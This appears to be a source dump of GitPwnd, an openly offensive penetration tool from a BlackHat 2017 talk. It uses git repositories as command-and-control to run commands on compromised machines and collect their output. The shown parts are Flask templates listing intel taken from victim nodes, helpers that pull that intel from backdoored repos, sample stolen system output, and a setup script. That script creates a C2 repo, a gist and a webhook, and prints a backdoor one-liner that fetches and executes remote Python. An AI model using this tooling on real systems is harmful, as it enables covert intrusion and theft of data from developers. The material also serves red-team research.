Prism.languages.javascript=Prism.languages.extend("clike",{keyword:/\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\b/,number:/\b-?(0x[\dA-Fa-f]+|0b[01]+|0o[0-7]+|\d*\.?\d+([Ee][+-]?\d+)?|NaN|Infinity)\b/,"function":/[_$a-zA-Z\xA0-\uFFFF][_$a-zA-Z0-9\xA0-\uFFFF]*(?=\()/i,operator:/--?|\+\+?|!=?=?|<=?|>=?|==?=?|&&?|\|\|?|\?|\*\*?|\/|~|\^|%|\.{3}/}),Prism.languages.insertBefore("javascript","keyword",{regex:{pattern:/(^|[^\/])\/(?!\/)(\[.+?]|\\.|[^\/\\\r\n])+\/[gimyu]{0,5}(?=\s*($|[\r\n,.;})]))/,lookbehind:!0,greedy:!0}}),Prism.languages.insertBefore("javascript","string",{"template-string":{pattern:/`(?:\\\\|\\?[^\\])*?`/,greedy:!0,inside:{interpolation:{pattern:/\$\{[^}]+\}/,inside:{"interpolation-punctuation":{pattern:/^\$\{|\}$/,alias:"punctuation"},rest:Prism.languages.javascript}},string:/[\s\S]+/}}}),Prism.languages.markup&&Prism.languages.insertBefore("markup","tag",{script:{pattern:/()[\w\W]*?(?=<\/script>)/i,lookbehind:!0,inside:Prism.languages.javascript,alias:"language-javascript"}}),Prism.languages.js=Prism.languages.javascript; Prism.languages.json={property:/"(?:\\.|[^\\"])*"(?=\s*:)/gi,string:/"(?!:)(?:\\.|[^\\"])*"(?!:)/g,number:/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee][+-]?\d+)?)\b/g,punctuation:/[{}[\]);,]/g,operator:/:/g,"boolean":/\b(true|false)\b/gi,"null":/\bnull\b/gi},Prism.languages.jsonp=Prism.languages.json; ================================================ FILE: server/gitpwnd/templates/index.html ================================================ {% extends "layout.html" %} {% block body %}

Home

Welcome to GitPwnd! GitPwnd is a network penetration tool that provides command and control functionality, that is, sending commands to compromised machines and receiving their output, using git repos.

For more details, see the BlackHat USA 2017 talk or the source on GitHub.

See information extracted from compromised machines by clicking on "Nodes" in the top right. {% endblock %} ================================================ FILE: server/gitpwnd/templates/layout.html ================================================ GitPwnd {% block html_head %}{% endblock %}

{% for message in get_flashed_messages() %}
{{ message }}
{% endfor %}
{% block body %}{% endblock %}
================================================ FILE: server/gitpwnd/templates/macros.html ================================================ {# Macros for nodes.html #} {% macro display_intel(intel_name, intel_value, type='string') -%}
{{intel_name}}
{% if type == "string" %} {{intel_value}} {% elif type == "json" %}

{{intel_value}}
{% elif type == "shell_command" %}

##########
# stdout #
##########
{{intel_value["stdout"]}}

##########
# stderr #
##########
{{intel_value["stderr"]}}
{% else %}
    {{intel_value}}
    
{% endif %} {%- endmacro %} ================================================ FILE: server/gitpwnd/templates/nodes.html ================================================ {% extends "layout.html" %} {% block body %} {% import 'macros.html' as macros %}

Nodes

This page lists all of the info that has been extracted from any node.
{% for repo_name, node_dict in intel.items() %}

Repo: {{repo_name}}

{% for node_name, intel_list in node_dict.items() %}

Node: {{node_name}}

{% for intel_dict in intel_list %}

Extracted on: {{intel_dict["time_ran"]["value"]}}

{% for k,v in intel_dict.items() %} {{ macros.display_intel(k, v["value"], v["type"]) }} {% endfor %} {% endfor %}
{% endfor %} {% endfor %} {% endblock %} ================================================ FILE: server/gitpwnd/templates/setup.html ================================================ {% extends "layout.html" %} {% block body %}

Setup

See gitpwnd/README.md for how to set up GitPwnd.

Essentially, all you have to do is customize config.yml and then run setup.py.

{% endblock %} ================================================ FILE: server/gitpwnd/util/__init__.py ================================================ ================================================ FILE: server/gitpwnd/util/crypto_helper.py ================================================ import hmac import hashlib from gitpwnd import app class CryptoHelper: @staticmethod def verify_signature(payload, secret): key = app.config["HOOK_SECRET"].encode('utf-8') h = hmac.new(key, digestmod=hashlib.sha1) h.update(payload.encode('utf-8')) signature = "sha1=" + h.hexdigest() return hmac.compare_digest(signature, secret) ================================================ FILE: server/gitpwnd/util/file_helper.py ================================================ import os class FileHelper: @staticmethod # Create a directory if it doesn't exist def ensure_directory(dirname): if not os.path.exists(dirname): os.makedirs(dirname) ================================================ FILE: server/gitpwnd/util/git_helper.py ================================================ import os import json import git # gitpython from gitpwnd import app from gitpwnd.util.file_helper import FileHelper class GitHelper: # http://stackoverflow.com/questions/12179271/python-classmethod-and-staticmethod-for-beginner @staticmethod def save_intel(repo_name, branch_name, repo_path, intel_root): # TODO: "results.json" is hardcoded in payload.py # this should be abstracted to config.yml or something intel_file = os.path.join(repo_path, "results.json") print("[*] Reading intel file from: %s" % intel_file) with open(intel_file, 'r') as f: intel_json = json.load(f) # Have subdir for each node's intel node_id = branch_name output_dir = os.path.join(intel_root, repo_name, node_id) FileHelper.ensure_directory(output_dir) output_file = os.path.join(output_dir, "%s.json" % intel_json["time_ran"].replace(" ", "_")) print("[*] Storing intel file to: %s" % output_file) with open(output_file, 'w') as f: json.dump(intel_json, f) @staticmethod def import_intel_from_branch(repo_name, branch_name, backdoored_repos_root, intel_root): repo_path = os.path.join(backdoored_repos_root, repo_name) repo = git.Repo(repo_path) # http://gitpython.readthedocs.io/en/stable/tutorial.html#using-git-directly # Tried using the other ways of using gitpython but this appears easiest g = repo.git g.pull() # make sure we have the latest branches g.checkout(branch_name) g.pull() # make sure we have the latest results.json GitHelper.save_intel(repo_name, branch_name, repo_path, intel_root) g.checkout("master") ================================================ FILE: server/gitpwnd/util/intel_helper.py ================================================ import json import os # Helper class for class IntelHelper: @staticmethod def parse_node_dir(node_dir): node_results = [] for intel in os.listdir(node_dir): intel_file = os.path.join(node_dir, intel) with open(intel_file, 'r') as f: node_results.append(json.load(f)) # parsed_json = json.load(f) # node_results[str(parsed_json["time_ran"])] = parsed_json return node_results @staticmethod def parse_repo_dir(repo_dir): intel = {} # In intel_dir, each subdirectory corresponds to a node_id, and each file in # a node's directory is a json file corresponding to what we've extracted. # # Filename of these individual intel files is currently the time when the extraction happened. for subdir in os.listdir(repo_dir): node_dir = os.path.join(repo_dir, subdir) intel[subdir] = IntelHelper.parse_node_dir(node_dir) return intel # this was fun to write # Returns: # { # "repo_name" => { # "node_name" => [ intel_extracted1_json, intel_extracted2_json ], # ... # } # } @staticmethod def parse_all_intel_files(intel_dir): results = {} for subdir in os.listdir(intel_dir): repo_dir = os.path.join(intel_dir, subdir) results[subdir] = IntelHelper.parse_repo_dir(repo_dir) return results @staticmethod def json_prettyprint_intel(intel_dict): # intel_dict has the structure of the return value from parse_all_intel_files results = {} for repo_name, node_dict in intel_dict.items(): tmp = {} for node_name, intel_list in node_dict.items(): tmp[node_name] = [IntelHelper.annotate_intel_dict(x) for x in intel_list] results[repo_name] = tmp return results @staticmethod def annotate_intel_dict(intel_dict): # Turns each "value" for a node from: {'attr_name' => ''} to # {'attr_name' => {'type' => '', 'value' => ''} } # where type := ['string' | 'json' | 'shell_command' | 'long_string'] # 'long_string' = a string that's multiple lines # results = {} for intel_name, intel_value in intel_dict.items(): intel_name = str(intel_name) if type(intel_value) is dict: if "stderr" in intel_value: results[intel_name] = {"type": "shell_command", "value": { "stderr": str(intel_value["stderr"]), "stdout": str(intel_value["stdout"]) }} else: results[intel_name] = { "type": "json", "value": json.dumps(intel_value, sort_keys=True, indent=4, separators=(',', ': '))} elif intel_value.count("\n") > 0: results[intel_name] = {"type": "long_string", "value": str(intel_value)} else: results[intel_name] = {"type": "string", "value": str(intel_value)} return results ================================================ FILE: server/requirements.txt ================================================ appnope==0.1.0 backports.shutil-get-terminal-size==1.0.0 click==6.6 decorator==4.0.10 Flask==1.0 ipdb==0.10.1 ipython==5.0.0 ipython-genutils==0.1.0 itsdangerous==0.24 Jinja2>=2.10.1 MarkupSafe==0.23 pathlib2==2.1.0 pexpect==4.2.0 pickleshare==0.7.3 prompt-toolkit==1.0.3 ptyprocess==0.5.1 Pygments==2.7.4 simplegeneric==0.8.1 six==1.10.0 traitlets==4.2.2 wcwidth==0.1.7 Werkzeug==0.15.3 gitpython Flask-BasicAuth pyyaml pyopenssl ================================================ FILE: server/run_ipython.sh ================================================ #!/usr/bin/env python2.7 from IPython import start_ipython start_ipython() ================================================ FILE: server/server.py ================================================ from gitpwnd import app # defined in gitpwnd/__init__.py ################# # Server config # ################# app.secret_key = "blah-doesn't-matter" if __name__ == "__main__": # Note: that the '0.0.0.0' makes the server publicly accessible, be careful friend app.run(host='0.0.0.0', ssl_context='adhoc') ================================================ FILE: server/server_creds.yml.template ================================================ basic_auth_username: "gitpwnd" basic_auth_password: "$basic_auth_password" benign_repo_path: "$benign_repo_path" hook_secret: "$hook_secret" ================================================ FILE: server/tests/sample_intel.json ================================================ {"service_configs": {"syslog": {"stdout": "", "stderr": "cat: /etc/syslog.conf: No such file or directory\n"}, "chttp": {"stdout": "", "stderr": "cat: /etc/chttp.conf: No such file or directory\n"}, "httpd_opt": {"stdout": "", "stderr": "cat: /opt/lampp/etc/httpd.conf: No such file or directory\n"}, "inetd": {"stdout": "", "stderr": "cat: /etc/inetd.conf: No such file or directory\n"}, "httpd": {"stdout": "", "stderr": "cat: /etc/httpd/conf/httpd.conf: No such file or directory\n"}, "cupsd": {"stdout": "", "stderr": "cat: /etc/cups/cupsd.conf: No such file or directory\n"}, "lighthttpd": {"stdout": "", "stderr": "cat: /etc/lighttpd.conf: No such file or directory\n"}, "my": {"stdout": "", "stderr": "cat: /etc/my.conf: No such file or directory\n"}}, "ifconfig": {"stdout": "eth0 Link encap:Ethernet HWaddr 0A:DD:E0:B4:67:30 \n inet addr:172.31.23.37 Bcast:172.31.31.255 Mask:255.255.240.0\n inet6 addr: fe80::8dd:e0ff:feb4:6730/64 Scope:Link\n UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1\n RX packets:94613 errors:0 dropped:0 overruns:0 frame:0\n TX packets:95000 errors:0 dropped:0 overruns:0 carrier:0\n collisions:0 txqueuelen:1000 \n RX bytes:24677385 (23.5 MiB) TX bytes:6614665 (6.3 MiB)\n\nlo Link encap:Local Loopback \n inet addr:127.0.0.1 Mask:255.0.0.0\n inet6 addr: ::1/128 Scope:Host\n UP LOOPBACK RUNNING MTU:65536 Metric:1\n RX packets:26 errors:0 dropped:0 overruns:0 frame:0\n TX packets:26 errors:0 dropped:0 overruns:0 carrier:0\n collisions:0 txqueuelen:1 \n RX bytes:2747 (2.6 KiB) TX bytes:2747 (2.6 KiB)\n\n", "stderr": ""}, "mac_address": "0A:DD:E0:B4:67:30", "ps_services": {"stdout": "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.2 19628 2572 ? Ss Jul06 0:00 /sbin/init\nroot 2 0.0 0.0 0 0 ? S Jul06 0:00 [kthreadd]\nroot 3 0.0 0.0 0 0 ? S Jul06 0:00 [ksoftirqd/0]\nroot 4 0.0 0.0 0 0 ? S Jul06 0:00 [kworker/0:0]\nroot 5 0.0 0.0 0 0 ? S< Jul06 0:00 [kworker/0:0H]\nroot 7 0.0 0.0 0 0 ? S Jul06 0:05 [rcu_sched]\nroot 8 0.0 0.0 0 0 ? S Jul06 0:00 [rcu_bh]\nroot 9 0.0 0.0 0 0 ? S Jul06 0:00 [migration/0]\nroot 10 0.0 0.0 0 0 ? S< Jul06 0:00 [lru-add-drain]\nroot 11 0.0 0.0 0 0 ? S Jul06 0:00 [cpuhp/0]\nroot 12 0.0 0.0 0 0 ? S Jul06 0:00 [kdevtmpfs]\nroot 13 0.0 0.0 0 0 ? S< Jul06 0:00 [netns]\nroot 16 0.0 0.0 0 0 ? S Jul06 0:00 [xenwatch]\nroot 17 0.0 0.0 0 0 ? S Jul06 0:03 [kworker/u30:2]\nroot 21 0.0 0.0 0 0 ? S Jul06 0:00 [xenbus]\nroot 139 0.0 0.0 0 0 ? S Jul06 0:00 [khungtaskd]\nroot 140 0.0 0.0 0 0 ? S Jul06 0:00 [oom_reaper]\nroot 141 0.0 0.0 0 0 ? S< Jul06 0:00 [writeback]\nroot 143 0.0 0.0 0 0 ? S Jul06 0:00 [kcompactd0]\nroot 144 0.0 0.0 0 0 ? SN Jul06 0:00 [ksmd]\nroot 145 0.0 0.0 0 0 ? SN Jul06 0:00 [khugepaged]\nroot 146 0.0 0.0 0 0 ? S< Jul06 0:00 [crypto]\nroot 147 0.0 0.0 0 0 ? S< Jul06 0:00 [kintegrityd]\nroot 148 0.0 0.0 0 0 ? S< Jul06 0:00 [bioset]\nroot 150 0.0 0.0 0 0 ? S< Jul06 0:00 [kblockd]\nroot 500 0.0 0.0 0 0 ? S< Jul06 0:00 [md]\nroot 627 0.0 0.0 0 0 ? S Jul06 0:00 [kswapd0]\nroot 628 0.0 0.0 0 0 ? S< Jul06 0:00 [vmstat]\nroot 724 0.0 0.0 0 0 ? S< Jul06 0:00 [kthrotld]\nroot 768 0.0 0.0 0 0 ? S< Jul06 0:00 [bioset]\njoedev 796 4.0 1.4 204364 14616 pts/0 S+ 21:52 0:00 python backdoor.py\njoedev 805 3.0 1.1 189088 11492 pts/0 S+ 21:52 0:00 python /home/joedev/.local/lib/python2.7/site-packages/ipdb/.git/hooks/post-merge.sample\njoedev 825 0.0 0.2 117204 2464 pts/0 R+ 21:52 0:00 ps aux\nroot 1401 0.0 0.0 0 0 ? S< Jul06 0:00 [ata_sff]\nroot 1414 0.0 0.0 0 0 ? S Jul06 0:00 [scsi_eh_0]\nroot 1415 0.0 0.0 0 0 ? S< Jul06 0:00 [scsi_tmf_0]\nroot 1418 0.0 0.0 0 0 ? S Jul06 0:00 [scsi_eh_1]\nroot 1431 0.0 0.0 0 0 ? S< Jul06 0:00 [scsi_tmf_1]\nroot 1490 0.0 0.0 0 0 ? S Jul06 0:02 [jbd2/xvda1-8]\nroot 1491 0.0 0.0 0 0 ? S< Jul06 0:00 [ext4-rsv-conver]\nroot 1532 0.0 0.2 11448 2740 ? Ss Jul06 0:00 /sbin/udevd -d\nroot 1655 0.0 0.2 11316 2148 ? S Jul06 0:00 /sbin/udevd -d\nroot 1780 0.0 0.0 0 0 ? S Jul06 0:45 [kworker/0:2]\nroot 1818 0.0 0.0 0 0 ? S< Jul06 0:00 [kworker/0:1H]\nroot 1841 0.0 0.0 0 0 ? S Jul06 0:00 [kauditd]\nroot 1856 0.0 0.0 109084 740 ? Ss Jul06 0:00 lvmetad\nroot 1865 0.0 0.0 27140 200 ? Ss Jul06 0:00 lvmpolld\nroot 1917 0.0 0.0 0 0 ? S< Jul06 0:00 [ipv6_addrconf]\nroot 2064 0.0 0.2 9356 2148 ? Ss Jul06 0:00 /sbin/dhclient -q -lf /var/lib/dhclient/dhclient-eth0.leases -pf /var/run/dhclient-eth0.pid eth0\nroot 2188 0.0 0.1 9356 1860 ? Ss Jul06 0:02 /sbin/dhclient -6 -nw -lf /var/lib/dhclient/dhclient6-eth0.leases -pf /var/run/dhclient6-eth0.pid eth0\nroot 2235 0.0 0.2 52948 2208 ? S//raw// # # Since we're only uploading one file and we want to make the URL as concise as possible, # it turns out we can actually trim off everything after /raw/ and it'll still give us what # we want. config["gist_raw_contents_url"] = config["gist_raw_contents_url"].split("/raw/")[0] + "/raw" print("[*] Private gist content at:") print("- %s" % config["gist_raw_contents_url"]) return config # Return the content that will placed in the private gist def get_bootstrap_content(config): bootstrap_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "bootstrap.py.template")) params = {"repo_clone_url": config["secondary_clone_url"], "benign_repo": config["benign_repo"], "github_c2_repo_name": config["github_c2_repo_name"]} with open(bootstrap_file, 'r') as f: templatized_bootstrap_file = string.Template(f.read()) return templatized_bootstrap_file.safe_substitute(params) # After all the setup has been done, get the one liner that should be placed in a repo def get_python_one_liner(gist_url): # Note that `exec` is required for multiline statements, eval seems to only do simple expressions # https://stackoverflow.com/questions/30671563/eval-not-working-on-multi-line-string return "import urllib; exec(urllib.urlopen('%s').read())" % gist_url def print_backdoor_instructions(config): gist_url = config["gist_raw_contents_url"] print(""" ###################### # Backdoor one-liner # ###################### [*] Insert the following into the target git repo you're backdooring: # Python %s You can also do something like: $ curl %s | python """ % (get_python_one_liner(gist_url), gist_url)) # Replace agent.py.template with customized info, copy to c2 repo, # git add, commit, and push it so that the bootstrap.py gist can install # it on compromised machines def copy_agent_to_c2_repo(config): agent_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "agent.py.template")) params = {"repo_clone_url": config["secondary_clone_url"], "remote_repo_name": "features", # we add the c2 repo as a remote "remote_repo_master_branch": "master"} _add_file_to_c2_repo(config, agent_file, params, "agent.py") def copy_payload_to_c2_repo(config): payload_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "payload.py.template")) params = {} _add_file_to_c2_repo(config, payload_file, params, "payload.py") def _add_file_to_c2_repo(config, template_file_path, params, dest_path_in_c2_repo): with open(template_file_path, 'r') as f: templatized_file = string.Template(f.read()) dest_file = os.path.join(config["benign_repo_path"], dest_path_in_c2_repo) with open(dest_file, "w") as f: f.write(templatized_file.safe_substitute(params)) # Add file to the c2 repo orig_dir = os.path.abspath(os.curdir) # cd into cloned git repo to do git munging there os.chdir(config["benign_repo_path"]) if "nothing to commit" not in str(subprocess.check_output("git status", shell=True)): # Add agent.py and push subprocess.check_output("git add %s" % dest_path_in_c2_repo, shell=True) subprocess.check_output("git commit -m 'Add %s'" % dest_path_in_c2_repo, shell=True) subprocess.check_output("git push --repo %s" % config["primary_clone_url"], shell=True) os.chdir(orig_dir) def create_c2_webhook(config): print("[*] Creating GitHub webhook for C2 repo that will receive pushes from compromised machines ") g = Github(config["main_github_token"]) g_user = g.get_user() repo = g_user.get_repo(config["github_c2_repo_name"]) # this endpoint is defined in server/gitpwnd/controllers.py webhook_endpoint = config["attacker_server"] + "/api/repo/receive_branch" # We're using a self-signed cert, so we need to turn off TLS verification for now :( # See the following for details: https://developer.github.com/v3/repos/hooks/#create-a-hook hook_secret = str(uuid.uuid4()) params = {"url": webhook_endpoint, "content_type": "json", "secret": hook_secret, "insecure_ssl": "1"} # PyGithub's create_hook doc: # http://pygithub.readthedocs.io/en/latest/github_objects/Repository.html?highlight=create_hook try: repo.create_hook("web", params, ["push"], True) except: print("[!] Web hook already exists") hook = repo.get_hooks()[0] if "secret" not in hook.config.keys(): print("[!] Adding a secret to the hook...") else: hook_secret = input("Enter webhook secret (Github Repo > Settings > Webhooks > Edit > Inspect 'Secret' element): ") new_hook_config = hook.config new_hook_config["secret"] = hook_secret hook.edit(name=hook.name, config=new_hook_config) finally: return hook_secret # Automatically generate a new password for the gitpwnd server # so we don't use a default one def customize_gitpwnd_server_config(config): print("[*] Generating a unique password for the gitpwnd server") server_creds_template_file = os.path.abspath(os.path.join(__file__, "..", "server", "server_creds.yml.template")) output_file = server_creds_template_file.replace(".template", "") with open(server_creds_template_file, 'r') as f: templatized_creds_file = string.Template(f.read()) params = {"basic_auth_password": str(uuid.uuid4()), "benign_repo_path": config["benign_repo_path"], "hook_secret": config["hook_secret"]} with open(output_file, 'w') as f: f.write(templatized_creds_file.safe_substitute(params)) def print_accept_c2_invitation_instructions(): print("""IMPORTANT: Check the email for the secondary user and "accept" the invitation to the newly created command and control repo. Without doing this, the bootstrapping process executed on compromised machines will fail. """) # The overall flow of the setup process def main(setup_dir, repo_dir, ssh_key_dir): print_intro() print(""" ---------------------------------- ###################################### # Beginning GitPwnd setup process... # ###################################### """) # Usage: python3 setup.py if len(sys.argv) > 1: config_path = sys.argv[1] else: print("[*] Using default config path of ./config.yml") config_path = "./config.yml" with open(config_path, 'r') as f: config = yaml.load(f) setup(setup_dir) config = create_c2_repo(repo_dir, config) config = get_secondary_account_access_token(config) config = generate_ssh_key_for_c2_repo(config) add_ssh_key_to_github_account(config["secondary_github_token"], config["ssh_key_path"]) add_collaborator(config["main_github_token"], config["github_c2_repo_name"], config["secondary_github_token"]) hook_secret = create_c2_webhook(config) config["hook_secret"] = hook_secret customize_gitpwnd_server_config(config) # the clone URL compromised machines will use config["secondary_clone_url"] = "https://%s@github.com/%s/%s.git" % (config["secondary_github_token"], config["main_github_username"], config["github_c2_repo_name"]) gist_content = get_bootstrap_content(config) config = create_private_gist(config, config["main_github_token"], "install.sh", gist_content, "Some description") copy_agent_to_c2_repo(config) copy_payload_to_c2_repo(config) print_backdoor_instructions(config) print_accept_c2_invitation_instructions() if __name__ == "__main__": main(SETUP_DIR, REPO_DIR, SSH_KEY_DIR)